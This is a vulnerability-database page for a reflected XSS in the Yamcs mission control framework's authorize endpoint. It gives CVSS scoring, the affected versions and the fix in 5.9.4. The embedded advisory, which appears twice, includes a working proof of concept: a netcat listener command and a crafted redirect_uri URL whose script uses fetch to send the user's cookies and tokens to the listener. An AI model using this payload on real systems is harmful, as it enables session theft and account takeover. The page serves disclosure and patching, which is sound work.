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CVE-2026-55549

Yamcs: Reflected XSS in the URL of the Authorize Endpoint

6.5 MediumFix available

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.31%Up 0.9 points since Aug 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Yamcs: Reflected XSS in the URL of the Authorize Endpoint

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Record
CVE-2026-55549
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-67841 6.5

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Record
EUVD-2026-67841
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-rxpg-wjf8-qv9c 6.5

Yamcs has Reflected XSS in the URL of the Authorize Endpoint

Attack type: 

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Record
GHSA-rxpg-wjf8-qv9c
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 6.5

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Record
CVE-2026-55549
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 6.5

Yamcs: Reflected XSS in the URL of the Authorize Endpoint

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

Record
CVE-2026-55549
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-rxpg-wjf8-qv9c 6.5

Yamcs has Reflected XSS in the URL of the Authorize Endpoint

Attack type: 

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Record
GHSA-rxpg-wjf8-qv9c
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
org.yamcs:yamcs-core
Maven
 before 5.9.4
5.9.4
org.yamcs:yamcs-core
Maven
 before 5.9.4, plus listed versions
0.29.30.30.03.0.03.1.03.1.1
Show 45 moreShow less
3.1.23.2.03.2.13.2.23.3.03.3.13.4.03.4.13.4.113.4.23.4.33.4.43.4.53.4.63.4.84.0.04.0.14.1.14.1.24.10.04.10.14.10.24.10.34.10.44.10.54.10.64.10.74.10.84.10.94.2.04.2.14.2.24.3.04.3.14.4.04.4.14.4.24.5.04.6.04.6.14.6.24.6.34.74.7.14.7.3
5.9.4

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiYamcs <=5.8.6 - Cross-Site Scripting

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55549 is a medium vulnerability (CVSS 6.5) in Yamcs, published August 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.31%, the 70th percentile. Fixed in org.yamcs:yamcs-core 5.9.4.

References

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Left out here: 71 versions. The JSON record has them.

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